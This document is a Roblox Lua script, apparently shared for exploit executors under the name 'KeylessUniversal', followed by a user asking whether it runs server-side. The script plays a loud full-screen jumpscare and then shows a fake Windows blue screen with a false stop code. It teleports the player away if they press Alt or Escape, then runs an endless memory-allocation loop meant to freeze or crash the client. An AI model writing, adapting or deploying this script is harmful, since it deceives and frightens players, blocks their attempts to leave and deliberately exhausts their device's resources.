
KeylessUniversal

local Players = game:GetService("Players")
local UIS = game:GetService("UserInputService")
local TP = game:GetService("TeleportService")
local RS = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SoundService = game:GetService("SoundService")
local player = Players.LocalPlayer
-- Replace with your uploaded asset IDs
local jeffImageId = "rbxassetid://YOUR_JEFF_IMAGE_ID"
local jeffSoundId = "rbxassetid://YOUR_JEFF_SOUND_ID"
-- Rejoin persistence
if not ReplicatedStorage:FindFirstChild("__BSOD_ACTIVE") then
local tag = Instance.new("StringValue")
tag.Name = "__BSOD_ACTIVE"
tag.Value = "true"
tag.Parent = ReplicatedStorage
end
-- Wait 5 seconds, then trigger jumpscare
task.delay(5, function()
local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
gui.Name = "JeffJumpscare"
gui.IgnoreGuiInset = true
gui.ZIndexBehavior = Enum.ZIndexBehavior.Global
gui.ResetOnSpawn = false
local img = Instance.new("ImageLabel", gui)
img.Image = jeffImageId
img.Size = UDim2.new(1, 0, 1, 0)
img.BackgroundTransparency = 1
img.ImageTransparency = 0
img.ZIndex = 999999
local sound = Instance.new("Sound", SoundService)
sound.SoundId = jeffSoundId
sound.Volume = 10
sound:Play()
-- Shake screen
local cam = workspace.CurrentCamera
local originalCF = cam.CFrame
local shakeTime = 1.5
local start = tick()
RS:BindToRenderStep("Shake", 999, function()
if tick() - start < shakeTime then
local x = math.random(-2, 2) / 10
local y = math.random(-2, 2) / 10
local z = math.random(-2, 2) / 10
cam.CFrame = originalCF * CFrame.new(x, y, z)
else
RS:UnbindFromRenderStep("Shake")
cam.CFrame = originalCF
end
end)
-- Flash fade-out after 2 seconds
task.delay(2, function()
for i = 1, 20 do
img.ImageTransparency = i * 0.05
task.wait(0.03)
end
gui:Destroy()
end)
end)
-- Then 5 seconds later: BSOD + Memory Kraken
task.delay(10, function()
local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
gui.Name = "Win11BSOD"
gui.IgnoreGuiInset = true
gui.ResetOnSpawn = false
gui.ZIndexBehavior = Enum.ZIndexBehavior.Global
gui.DisplayOrder = 999999
local bg = Instance.new("Frame", gui)
bg.Size = UDim2.new(1, 0, 1, 0)
bg.BackgroundColor3 = Color3.fromRGB(40, 102, 170)
bg.ZIndex = 10
bg.BackgroundTransparency = 1
local face = Instance.new("TextLabel", bg)
face.Size = UDim2.new(1, 0, 0, 150)
face.Position = UDim2.new(0, 0, 0, 60)
face.BackgroundTransparency = 1
face.Text = ":("
face.TextColor3 = Color3.fromRGB(255, 255, 255)
face.Font = Enum.Font.SourceSans
face.TextScaled = true
face.ZIndex = 11
local msg = Instance.new("TextLabel", bg)
msg.Size = UDim2.new(1, -120, 0, 400)
msg.Position = UDim2.new(0, 60, 0, 200)
msg.BackgroundTransparency = 1
msg.TextColor3 = Color3.fromRGB(255, 255, 255)
msg.Font = Enum.Font.SourceSans
msg.TextSize = 24
msg.TextXAlignment = Enum.TextXAlignment.Left
msg.TextYAlignment = Enum.TextYAlignment.Top
msg.ZIndex = 11
msg.Text = [[
Your device ran into a problem and needs to restart.
We're just collecting some error info, and then we'll restart for you.
Stop code: KERNEL_SECURITY_CHECK_FAILURE
]]
local countdown = Instance.new("TextLabel", bg)
countdown.Size = UDim2.new(1, 0, 0, 50)
countdown.Position = UDim2.new(0, 0, 0, 160)
countdown.BackgroundTransparency = 1
countdown.TextColor3 = Color3.fromRGB(255, 255, 255)
countdown.Font = Enum.Font.SourceSans
countdown.TextScaled = true
countdown.ZIndex = 11
-- Fade in BSOD
for i = 1, 20 do
bg.BackgroundTransparency = 1 - (i * 0.05)
task.wait(0.03)
end
UIS.ModalEnabled = true
UIS.MouseIconEnabled = false
RS.RenderStepped:Connect(function()
bg.Size = UDim2.new(1, 0, 1, 0)
end)
UIS.InputBegan:Connect(function(input, processed)
if processed then return end
local blocked = {
[Enum.KeyCode.LeftAlt] = true,
[Enum.KeyCode.RightAlt] = true,
[Enum.KeyCode.Escape] = true,
}
if blocked[input.KeyCode] then
TP:Teleport(game.PlaceId, player)
end
end)
-- Countdown
task.spawn(function()
for i = 15, 0, -1 do
countdown.Text = "Restarting in " .. i .. " seconds..."
task.wait(1)
end
countdown.Text = "Restarting..."
end)
-- 🧠 Release Memory Kraken
task.wait(2)
task.spawn(function()
while true do
local abyss = {}
for i = 1, 10000 do
local chunk = {}
for j = 1, 30 do
chunk[j] = string.rep("💀", 500) .. tostring(math.random()) .. os.clock()
end
abyss[i] = chunk
end
task.wait(0.1)
end
end)
end)



Is this server sided? Or it's only me who can see it